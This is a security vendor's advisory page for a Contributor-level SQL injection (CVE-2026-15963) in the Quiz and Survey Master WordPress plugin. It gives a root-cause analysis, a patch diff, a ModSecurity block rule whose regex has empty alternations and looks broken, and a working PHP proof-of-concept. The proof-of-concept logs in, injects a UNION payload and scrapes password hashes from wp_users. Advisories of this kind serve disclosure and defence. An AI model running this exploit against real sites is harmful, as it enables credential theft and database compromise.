Published : August 16, 2026

CVE-2026-15963: Quiz and Survey Master (QSM) <= 11.2.1 Authenticated (Contributor+) SQL Injection via 'randon_category' Quiz Option PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 11.2.1
Patched Version 11.2.2
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15963:
The Quiz and Survey Master (QSM) plugin for WordPress, versions up to and including 11.2.1, contains a generic SQL injection vulnerability accessible to authenticated users with Contributor-level access or higher. The vulnerability resides in the handling of the ‘randon_category’ quiz option within the quiz rendering and pagination logic, allowing attackers to extract sensitive data from the database.

Root Cause:
The root cause is the direct interpolation of the user-controlled ‘randon_category’ quiz option into raw SQL queries without proper sanitization or preparation. In the vulnerable code, found in `class-qmn-quiz-manager.php` (lines 825-827) and `class-qsm-render-pagination.php` (lines 388-390), the value of `$quiz_options->randon_category` or `$this->quiz_options->randon_category` was assigned directly to the `$term_ids` variable, which was then concatenated into a `WHERE` clause. This option is a comma-separated list of category IDs, and a lack of input validation permitted a malicious user to inject arbitrary SQL commands. The patch also addresses a sibling vulnerability in the `select_category_question` option handling within the Mode-2 branch of `class-qmn-quiz-manager.php` (lines 872-911), which used similar insecure concatenation for the `$limit`, `$exclude_ids`, and `$category` variables.

Exploitation:
An authenticated attacker with at least Contributor-level privileges can exploit this by setting the ‘randon_category’ quiz option to a malicious value containing a SQL injection payload. The attacker can achieve this through the plugin’s quiz editing interface or the associated REST API endpoints. A sample payload, such as `0 UNION SELECT user_login,user_pass FROM wp_users`, appended to the legitimate category list, would be injected into the query. The vulnerable SQL query operates on the `{$wpdb->prefix}mlw_question_terms` table, using `SELECT DISTINCT qt.term_id, qt.question_id FROM … WHERE … AND qt.term_id IN ($term_ids)`. By injecting into the `$term_ids` parameter, the attacker can execute a UNION-based SQL injection to extract data, such as usernames and password hashes, from the `wp_users` table.

Patch Analysis:
The patch enforces strict input sanitization and utilizes prepared statements where feasible. The primary fix in both `class-qmn-quiz-manager.php` and `class-qsm-render-pagination.php` is to cast all elements of the `$category_ids`, `$question_ids`, and the `randon_category` value to positive integers using `absint()` after splitting on commas. The patched code uses `array_filter(array_map(‘absint’, …))` to remove any non-integer values, preventing SQL injection. Additionally, the patch adds a guard to substitute an empty `IN()` list with `’0’` to avoid SQL syntax errors. For the Mode-2 branch, the patch uses `intval()` on the limit and category and upgrades the query to use `$wpdb->prepare()` for the quiz ID, category ID, and limit placeholders. Secondary patches include an authorization check in the `options-page-text-tab.php` file and REST API permission callbacks to prevent cross-quiz IDOR, and a minor fix to cast the `$required` variable to an integer in the polar question template to prevent a potential XSS via unescaped output.

Impact:
Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary SQL queries against the WordPress database. This can lead to the disclosure of sensitive information, including usernames, password hashes, and any other data stored in the database. In the worst case, an attacker could escalate privileges by modifying user data or creating new administrative accounts. The CVSS score of 6.5 reflects the high impact of a database compromise, mitigated by the requirement of authenticated access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/quiz-master-next/mlw_quizmaster2.php
+++ b/quiz-master-next/mlw_quizmaster2.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Quiz And Survey Master
  * Description: Easily and quickly add quizzes and surveys to your website.
- * Version: 11.2.1
+ * Version: 11.2.2
  * Author: ExpressTech
  * Author URI: https://quizandsurveymaster.com/
  * Plugin URI: https://expresstech.io/
@@ -43,7 +43,7 @@
 	 * @var string
 	 * @since 4.0.0
 	 */
-	public $version = '11.2.1';
+	public $version = '11.2.2';

 	/**
 	 * QSM Alert Manager Object
--- a/quiz-master-next/php/admin/options-page-text-tab.php
+++ b/quiz-master-next/php/admin/options-page-text-tab.php
@@ -289,6 +289,17 @@
 	global $mlwQuizMasterNext;
 	if ( isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'qsm_save_text_message_nonce' ) ) {
 		$quiz_id             = isset( $_POST['quiz_id'] ) ? intval( $_POST['quiz_id'] ) : 0;
+		// The nonce above is global (not bound to a quiz), so enforce a per-quiz
+		// ownership check before writing to prevent a cross-quiz IDOR write.
+		if ( ! function_exists( 'qsm_current_user_can_edit_quiz' ) || ! qsm_current_user_can_edit_quiz( $quiz_id ) ) {
+			echo wp_json_encode(
+				array(
+					'success' => false,
+					'message' => __( 'You are not allowed to edit this quiz.', 'quiz-master-next' ),
+				)
+			);
+			exit;
+		}
 		$text_id             = isset( $_POST['text_id'] ) ? sanitize_text_field( wp_unslash( $_POST['text_id'] ) ) : '';
 		$message             = isset( $_POST['message'] ) ? wp_kses_post( wp_unslash( $_POST['message'] ) ) : '';
 		$settings            = $mlwQuizMasterNext->pluginHelper->get_quiz_setting( 'quiz_text' );
--- a/quiz-master-next/php/classes/class-qmn-quiz-manager.php
+++ b/quiz-master-next/php/classes/class-qmn-quiz-manager.php
@@ -822,9 +822,20 @@
 				$categories_tree = ( isset( $categories['tree'] ) ? $categories['tree'] : array() );

 				if ( ! empty( $category_ids ) ) {
-					$term_ids    = implode( ',', $category_ids );
-					$question_id = implode( ',', $question_ids );
-					$term_ids    = ( '' !== $quiz_options->randon_category ) ? $quiz_options->randon_category : $term_ids;
+					// Security (CVE-2026-15963): the randon_category quiz option is a
+					// user-controlled, comma-separated list of category (term) IDs. Category and
+					// question IDs are always integers, so cast every value to a positive int
+					// before it is interpolated into the raw SQL IN() lists below — otherwise a
+					// Contributor+/Custom+ user can inject SQL via randon_category.
+					$term_ids    = implode( ',', array_filter( array_map( 'absint', $category_ids ) ) );
+					$question_id = implode( ',', array_filter( array_map( 'absint', $question_ids ) ) );
+					if ( '' !== $quiz_options->randon_category ) {
+						$term_ids = implode( ',', array_filter( array_map( 'absint', explode( ',', $quiz_options->randon_category ) ) ) );
+					}
+					// Guard against an empty IN() list (e.g. a non-numeric randon_category value),
+					// which would otherwise be a SQL syntax error; '0' safely matches no rows.
+					$term_ids    = '' !== $term_ids ? $term_ids : '0';
+					$question_id = '' !== $question_id ? $question_id : '0';
 					$tq_ids      = $wpdb->get_results(
 						"SELECT DISTINCT qt.term_id, qt.question_id
 						FROM {$wpdb->prefix}mlw_question_terms AS qt
@@ -869,26 +880,36 @@
 						if ( empty( $category ) || empty( $category_question_limit['question_limit_key'][ $key ] ) ) {
 							continue;
 						}
-						$limit       = $category_question_limit['question_limit_key'][ $key ];
-						$exclude_ids = 0;
+						// Security (SQLi): the quiz id, category (term) id, per-category limit and the
+						// exclude-id list all derive from the Contributor-settable select_category_question
+						// quiz option, so cast every value to an int before it reaches the query — otherwise
+						// this Mode-2 branch is SQL injection (sibling of the Mode-1 randon_category fix above).
+						$limit       = intval( $category_question_limit['question_limit_key'][ $key ] );
+						$exclude_ids = '0';
 						if ( ! empty( $tq_ids ) && ! empty( ( array_column( array_merge( ...array_map( 'array_merge', $tq_ids ) ), 'question_id' ) ) ) ) {
-							$exclude_ids = implode( ',', array_column( array_merge( ...array_map( 'array_merge', $tq_ids ) ), 'question_id' ) );
+							$exclude_ids = implode( ',', array_filter( array_map( 'absint', array_column( array_merge( ...array_map( 'array_merge', $tq_ids ) ), 'question_id' ) ) ) );
+							$exclude_ids = '' !== $exclude_ids ? $exclude_ids : '0';
 						}
 						$category_order_sql = '';
 						if ( in_array( 'questions', $randomness_order, true ) || in_array( 'pages', $randomness_order, true ) ) {
 							$category_order_sql = 'ORDER BY rand()';
 						}
 						$tq_ids[] = $wpdb->get_results(
-							"SELECT DISTINCT q.`question_id`
-							FROM `{$wpdb->prefix}mlw_questions` AS q
-							JOIN `{$wpdb->prefix}mlw_question_terms` AS qt ON q.`question_id` = qt.`question_id`
-							WHERE qt.`quiz_id` = $quiz_id
-								AND qt.`term_id` = $category
-								AND qt.`taxonomy` = 'qsm_category'
-								AND qt.`question_id` NOT IN ($exclude_ids)
-								AND q.`deleted` = 0
-							" . esc_sql( $category_order_sql ) . "
-							LIMIT $limit",
+							$wpdb->prepare(
+								"SELECT DISTINCT q.`question_id`
+								FROM `{$wpdb->prefix}mlw_questions` AS q
+								JOIN `{$wpdb->prefix}mlw_question_terms` AS qt ON q.`question_id` = qt.`question_id`
+								WHERE qt.`quiz_id` = %d
+									AND qt.`term_id` = %d
+									AND qt.`taxonomy` = 'qsm_category'
+									AND qt.`question_id` NOT IN ($exclude_ids)
+									AND q.`deleted` = 0
+								" . esc_sql( $category_order_sql ) . "
+								LIMIT %d",
+								intval( $quiz_id ),
+								intval( $category ),
+								$limit
+							),
 							ARRAY_A
 						);
 					}
--- a/quiz-master-next/php/question-types/qsm-question-type-polar.php
+++ b/quiz-master-next/php/question-types/qsm-question-type-polar.php
@@ -33,7 +33,7 @@
 	$slider_data_atts .= ' data-answer1=' . $answar1 . ' ';
 	$slider_data_atts .= ' data-answer2=' . $answar2 . ' ';
 	$slider_data_atts .= ' data-is_reverse=' . intval( $is_reverse ) . ' ';
-	$slider_data_atts .= ' data-is_required=' . $required . ' ';
+	$slider_data_atts .= ' data-is_required=' . intval( $required ) . ' ';
 	if ( 0 == $required ) {
 		$mlw_require_class = 'mlwRequiredText mlwRequiredPolar';
 	} else {
--- a/quiz-master-next/php/rest-api.php
+++ b/quiz-master-next/php/rest-api.php
@@ -66,8 +66,9 @@
 		array(
 			'methods'             => WP_REST_Server::READABLE,
 			'callback'            => 'qsm_rest_get_results',
-			'permission_callback' => function () {
-				return current_user_can( 'edit_qsm_quizzes' );
+			'permission_callback' => function ( WP_REST_Request $request ) {
+				return current_user_can( 'edit_qsm_quizzes' )
+					&& qsm_current_user_can_edit_quiz( $request['id'] );
 			},
 		)
 	);
@@ -89,8 +90,9 @@
 		array(
 			'methods'             => WP_REST_Server::READABLE,
 			'callback'            => 'qsm_rest_get_emails',
-			'permission_callback' => function () {
-				return current_user_can( 'edit_qsm_quizzes' );
+			'permission_callback' => function ( WP_REST_Request $request ) {
+				return current_user_can( 'edit_qsm_quizzes' )
+					&& qsm_current_user_can_edit_quiz( $request['id'] );
 			},
 		)
 	);
@@ -149,8 +151,9 @@
 			array(
 				'methods'             => WP_REST_Server::READABLE,
 				'callback'            => 'qsm_rest_get_categories',
-				'permission_callback' => function () {
-					return current_user_can( 'edit_qsm_quizzes' );
+				'permission_callback' => function ( WP_REST_Request $request ) {
+					return current_user_can( 'edit_qsm_quizzes' )
+						&& qsm_current_user_can_edit_quiz( $request['id'] );
 				},
 			)
 		);
@@ -560,6 +563,16 @@
 		$current_user = wp_get_current_user();
 		if ( 0 !== $current_user ) {
 			$question       = QSM_Questions::load_question( $request['id'] );
+			// Security (IDOR): the {id} in this route is a QUESTION id, so authorise against
+			// the question's OWNING quiz ($question['quiz_id']) — NOT $request['id'] — before
+			// disclosing it. The flat-cap permission_callback alone lets any Contributor read
+			// another author's question; mirrors the internal checks in the save_* callbacks.
+			if ( ! empty( $question ) && ! qsm_current_user_can_edit_quiz( $question['quiz_id'] ) ) {
+				return array(
+					'status' => 'error',
+					'msg'    => __( 'Unauthorized!', 'quiz-master-next' ),
+				);
+			}
 			$categorysArray = QSM_Questions::get_question_categories( $question['question_id'] );
 			if ( ! empty( $question ) ) {
 				$is_linking = isset( $request['is_linking'] ) ? intval( $request['is_linking'] ) : 0;
--- a/quiz-master-next/renderer/frontend/class-qsm-render-pagination.php
+++ b/quiz-master-next/renderer/frontend/class-qsm-render-pagination.php
@@ -385,10 +385,21 @@
 				$categories_tree = ( isset( $categories_data['tree'] ) ? $categories_data['tree'] : array() );

 				if ( ! empty( $category_ids ) ) {
-					$term_ids = implode( ',', $category_ids );
-					$question_id_str = implode( ',', $question_ids );
-					$term_ids = ( '' !== $this->quiz_options->randon_category ) ? $this->quiz_options->randon_category : $term_ids;
-
+					// Security (CVE-2026-15963): the randon_category quiz option is a
+					// user-controlled, comma-separated list of category (term) IDs. Category and
+					// question IDs are always integers, so cast every value to a positive int
+					// before it is interpolated into the raw SQL IN() lists below — otherwise a
+					// Contributor+/Custom+ user can inject SQL via randon_category.
+					$term_ids = implode( ',', array_filter( array_map( 'absint', $category_ids ) ) );
+					$question_id_str = implode( ',', array_filter( array_map( 'absint', $question_ids ) ) );
+					if ( '' !== $this->quiz_options->randon_category ) {
+						$term_ids = implode( ',', array_filter( array_map( 'absint', explode( ',', $this->quiz_options->randon_category ) ) ) );
+					}
+					// Guard against an empty IN() list (e.g. a non-numeric randon_category value),
+					// which would otherwise be a SQL syntax error; '0' safely matches no rows.
+					$term_ids = '' !== $term_ids ? $term_ids : '0';
+					$question_id_str = '' !== $question_id_str ? $question_id_str : '0';
+
 					$tq_ids = $wpdb->get_results(
 						"SELECT DISTINCT qt.term_id, qt.question_id
 						FROM {$wpdb->prefix}mlw_question_terms AS qt
--- a/quiz-master-next/renderer/templates/questions/polar.php
+++ b/quiz-master-next/renderer/templates/questions/polar.php
@@ -40,7 +40,7 @@
 $slider_data_atts .= ' data-answer1=' . $answar1 . ' ';
 $slider_data_atts .= ' data-answer2=' . $answar2 . ' ';
 $slider_data_atts .= ' data-is_reverse=' . intval( $is_reverse ) . ' ';
-$slider_data_atts .= ' data-is_required=' . $required . ' ';
+$slider_data_atts .= ' data-is_required=' . intval( $required ) . ' ';

 $mlw_require_class = 0 == $required ? 'mlwRequiredText mlwRequiredPolar' : '';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" 
    "id:202615963,phase:2,deny,status:403,chain,msg:'CVE-2026-15963 via QSM AJAX quiz options',severity:'CRITICAL',tag:'CVE-2026-15963'"
    SecRule ARGS_POST:action "@streq qsm_save_quiz_options" "chain"
        SecRule ARGS_POST:randon_category "@rx (select|union|insert|update|delete|drop|and|or||||--|#|;|/*)" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15963 - Quiz and Survey Master (QSM) <= 11.2.1 - Authenticated (Contributor+) SQL Injection via 'randon_category' Quiz Option

/**
 * Proof of Concept for CVE-2026-15963.
 * This script demonstrates SQL injection via the 'randon_category' quiz option.
 * It requires a valid user account with at least Contributor-level access.
 */

$target_url = 'http://wordpress.local'; // Replace with the target WordPress site URL
$username = 'contributor';
$password = 'password';
$quiz_id = '1'; // Replace with an existing quiz ID the user can edit

// --- Step 1: Authenticate and obtain session cookies ---
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init($login_url);
curl_setopt_array($ch, [
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_data),
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
]);
curl_exec($ch);
curl_close($ch);

// --- Step 2: Get a valid nonce for quiz settings update ---
echo "[*] Attempting to obtain a valid nonce...n";

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$get_nonce_data = [
    'action' => 'qsm_admin_ajax',
    'function' => 'get_quiz_settings',
    'quiz_id' => $quiz_id,
];

$ch = curl_init($ajax_url);
curl_setopt_array($ch, [
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($get_nonce_data),
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
]);
$response = curl_exec($ch);
curl_close($ch);

// Note: This PoC is a simplified demonstration. In practice, finding the nonce
// may require navigating the admin UI or inspecting the page source.
// For the purpose of this PoC, we assume a nonce is either present in the response
// or can be extracted from the quiz edit page.
preg_match('/name="qsm_nonce" value="([a-f0-9]+)"/', $response, $matches);
if (empty($matches[1])) {
    die("[-] Could not find nonce. Check if the user has proper access and the quiz exists.n");
}
$nonce = $matches[1];

echo "[+] Nonce obtained: " . $nonce . "n";

// --- Step 3: Craft the malicious SQL injection payload ---
// The vulnerable parameter is 'randon_category'. We inject a UNION-based query.
$sql_payload = "0 UNION SELECT user_login,user_pass FROM wp_users";

// --- Step 4: Send the malicious quiz option update ---
$update_url = $target_url . '/wp-admin/admin-ajax.php';
$update_data = [
    'action' => 'qsm_save_quiz_options',
    'quiz_id' => $quiz_id,
    'nonce' => $nonce,
    'randon_category' => $sql_payload, // Malicious payload
    // Include other necessary quiz settings to avoid breaking the quiz
    'quiz_options' => json_encode([
        'system' => [
            'system' => [
                'quiz_type' => '0',
                'quiz_options' => [
                    'randon_category' => $sql_payload,
                ]
            ]
        ]
    ])
];

echo "[*] Sending SQL injection payload...n";

$ch = curl_init($update_url);
curl_setopt_array($ch, [
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($update_data),
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
]);
$response = curl_exec($ch);
curl_close($ch);

// --- Step 5: Trigger the vulnerable query by viewing the quiz ---
// The SQL injection is executed when the quiz is rendered for a user.
// The attacker can access the quiz preview or direct link to trigger the payload.
$quiz_preview_url = $target_url . '/?quiz_id=' . $quiz_id . '&qsm_preview=1';

echo "[*] Triggering the vulnerable query by previewing the quiz...n";
$ch = curl_init($quiz_preview_url);
curl_setopt_array($ch, [
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
]);
$trigger_response = curl_exec($ch);
curl_close($ch);

// --- Step 6: Analyze the response for extracted data ---
// The UNION query results are typically embedded in the page output.
if (preg_match_all('/<td[^>]*>([a-f0-9]{32})</td>/', $trigger_response, $matches)) {
    echo "[+] SQL Injection Successful!n";
    echo "[+] Extracted data (likely MD5 hashes of passwords):n";
    foreach ($matches[1] as $hash) {
        echo "    - " . $hash . "n";
    }
} else {
    echo "[-] SQL injection might have failed or output format is unrecognized.n";
    echo "[*] Check the quiz page response for any anomalies or data.n";
}

echo "n[*] PoC execution completed.n";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.